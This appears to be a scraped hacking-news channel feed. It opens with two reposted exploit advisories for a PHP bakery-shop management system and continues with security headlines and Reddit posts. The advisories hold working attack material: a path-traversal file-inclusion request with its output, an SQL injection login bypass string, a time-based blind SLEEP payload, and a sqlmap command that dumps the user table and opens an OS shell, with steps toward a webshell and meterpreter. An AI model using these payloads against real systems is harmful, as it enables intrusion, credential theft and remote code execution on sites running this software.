Exploit Collector
Bakery Shop Management System 1.0 Local File Inclusion

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Bakery Shop Management System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | 406bbd551d30b93c453d0bbc92d5f4d1

Download
# Title: Bakery Shop Management System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once

```
require_once('DBConnection.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
if($_SESSION['type'] != 1 && in_array($page,array('maintenance','products','stocks'))){
header("Location:./");
exit;
}
```

[+] Payload GET
```
GET //bsms/?page=../../../0day&515=dir HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL

#Response
```
Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\xampp\htdocs\bsms

04/06/2022 04:18 AM .
04/06/2022 05:05 AM ..
02/14/2022 10:39 AM 16,358 Actions.php
08/04/2021 11:04 PM css
02/14/2022 11:55 AM database
09/09/2021 11:54 AM DataTables
02/14/2022 11:55 AM 865 DBConnection.php
08/05/2021 03:09 AM Font-Awesome-master
02/14/2022 12:00 PM 10,407 home.php
02/14/2022 11:07 AM images
02/14/2022 02:26 PM 10,018 index.php
09/11/2021 11:40 AM js
02/14/2022 11:11 AM 4,372 login.php

```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/qLNHh9Q.png
https://i.imgur.com/XDSsyNL.jpg



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Bakery Shop Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Bakery Shop Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can lead to code execution and authentication bypass.

MD5 | 7563ba7c628bb1afba90da4c600c5295

Download
# Title: Bakery Shop Management System 1.0 - Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/bsms/login.php
# 2 - SQLi Authentication Bypass [admin'or 1=1 or ''=']
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell
#vulnerability Code php

---
```

$sql = "SELECT p.*,c.name as cname FROM `product_list` p inner join `category_list` c on p.category_id = c.category_id where p.status = 1 and p.delete_flag = 0 order by `name` asc";
$qry = $conn->query($sql);
while($row = $qry->fetch_assoc()):
$stock_in = $conn->query("SELECT sum(quantity) as `total` FROM `stock_list` where unix_timestamp(CONCAT(`expiry_date`, ' 23:59:59')) >= unix_timestamp(CURRENT_TIMESTAMP) and product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_out = $conn->query("SELECT sum(quantity) as `total` FROM `transaction_items` where product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_in = $stock_in > 0 ? $stock_in : 0;
$stock_out = $stock_out > 0 ? $stock_out : 0;
$qty = $stock_in-$stock_out;
$qty = $qty > 0 ? $qty : 0;
?>
```
---
#Status: CRITICAL
[+] Payload POST

---
POST /bsms/Actions.php?a=login HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 48
Origin: http://0day.gov
Connection: close
Referer: https://0day.gov/bsms/login.php
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s

username=admin'or+1%3D1+or+''%3D'&password=hejap
---
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin'or 1=1 or ''='' AND (SELECT 1610 FROM (SELECT(SLEEP(515)))eFaV) AND '515'='515&password=hejap
---

#Blind SQLi Time to Rce
#ُExploit

sqlmap -r hejap_0day --dbs --time-sec=10 --threads=10 -D bsms_db -T user_list --dump --eta --technique=t --os-shell

# Description:
The SQLi vulnerability We can use this information to construct an injection attack to bypass authentication.
# Proof and Exploit:
https://i.imgur.com/zR6Mekg.png
https://i.imgur.com/RQ1JXeK.png
https://i.imgur.com/0x9gepw.png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Why XDR As We Know It Will Fail

Don't take the XDR hype at face value. Do security due diligence and add a connectivity level for data access across all silos for best response.

Dark Reading: Attacks/Breaches
Linux Systems Are Becoming Bigger Targets

To prevent Linux exploits, organizations should establish an integrated security approach that extends to the network edge.

Dark Reading: Attacks/Breaches
FBI-Led Operation Disrupts Russian GRU Botnet

"Cyclops Blink" operation disabled firewalls behind the Sandworm hacking team's network of infected victim devices.

How i got access to 1600k Users PII Data $$$$

Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…Continue reading on Medium »
Read more...

How i got access to 1600k Users PII Data $$$$
https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963?source=rss------bug_bounty-5

Hello Guys 👋 I am Gokul, Python developer, Cyber security researcher, Part time Bug hunter and Open source tool maker, Studying 3rd year…Continue reading on Medium » (https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Solidity Hacking: Re-Entrancy

https://cdn-images-1.medium.com/max/600/1*f5dbaUgs-68SYjGBiLbwKg.png
A re-entrancy vulnerability takes advantage of a function that calls an external, untrusted contract multiple times.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The infosec/cybersec industry sucks

https://cdn-images-1.medium.com/max/1630/1*a5G0rS8Fii5D0tPmm-tfSQ.jpeg
I haven’t been writing that much lately. The whole reason for this blog was for some sort of portfolio, but after seeing how shitty the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Solidity Hacking 101: A starting point for solidity hacking

https://cdn-images-1.medium.com/max/1280/1*zKMCzRTjmE2KIL5jXmI8LQ.jpeg
Learn how to Install and Use Solidity

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pokémon-themed finance.

https://cdn-images-1.medium.com/max/1237/1*Wlu4ynM765QryXZ_Sw06Gw.png
Before you disregard Axie hack as loose procedures of a Pokémon-themed management, know that human error is a familiar theme of finance.

Continue reading on thatMeaning »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to confirm cyberattack through investigation.

https://cdn-images-1.medium.com/max/600/0*FMsNpcEYdAZ-w72B
NVIDIA, the computer behemoth famed for its high-end GPUs, has reportedly been hacked. The company partially verified the occurrence when…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ghostwriter v2.3.0 & 2022 Road Map

https://cdn-images-1.medium.com/max/1676/1*WbAFUZCrxYu-ML-QID_vmQ.png
Ghostwriter is changing! We have a new release candidate and a GraphQL API open for feedback.

Continue reading on Posts By SpecterOps Team Members »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Router Security Analysis

https://cdn-images-1.medium.com/max/906/1*RgzZB8wFGTfr8VGUhe-CDA.jpeg
The goal of my study was to identify how weak the commercially available routers are.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/u9W5G8shmgKgOYPqL2gvjySIRaALX3DygpmDT3AGW2M.jpg submitted by /u/banboiyt
[link] [comments]

hacking: security in practice
How Hackers Steal Your Crypto. Safeguard your crypto from HACKERS. (Remedies to Crypto Hacking)

https://external-preview.redd.it/9PnS-h6p3cFj5iCl6NQwcnwmNgG48Ir9x7qvGkmGOIc.jpg?width=320&crop=smart&auto=webp&s=1b51d862ab4d17e3dad8bd775cd469f502abcf91 submitted by /u/GeofreyGekood
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/YSw27Ds6aQRPjdlQJy4ZL1nsSMZ8Wy1QvZ9DDbjIMEk.jpg submitted by /u/Br0ken_01
[link] [comments]

hacking: security in practice
really just crunch, cupp, and mentalist?

So unfortunately I hit a writer's block when it comes to coming up with my word lists. I try to think the best way to compile one, crunches great for its versatility, cupp is great for its interaction and assisting, and The Mentalist is pretty good because the GUI and the multiple options to append and dates and nouns etc etc. But is there a way to create a word list with the options to take one word, appended with another random word and then add numbers or characters? Crunch has the -t yes, but what if I wanted to mash random WORDS together? I guess for instance pretty much just cracking Wi-Fi there's only part that I have troubles with for wordlists, is there not a wordlists with "default" router logins? Is reaver now obsolete?

submitted by /u/Sn0wbird187
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Malicious USB-C SD Card Reader?

Hey everyone, are you aware of any USB-C SD card reader devices being sold on Amazon that might try to hack connected PCs? I bought one and in 7 out of 10 times my laptop freezes/crashes and later it reported some issues with the trust platform (Win 11).

How could I verify?

submitted by /u/DaSchos
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video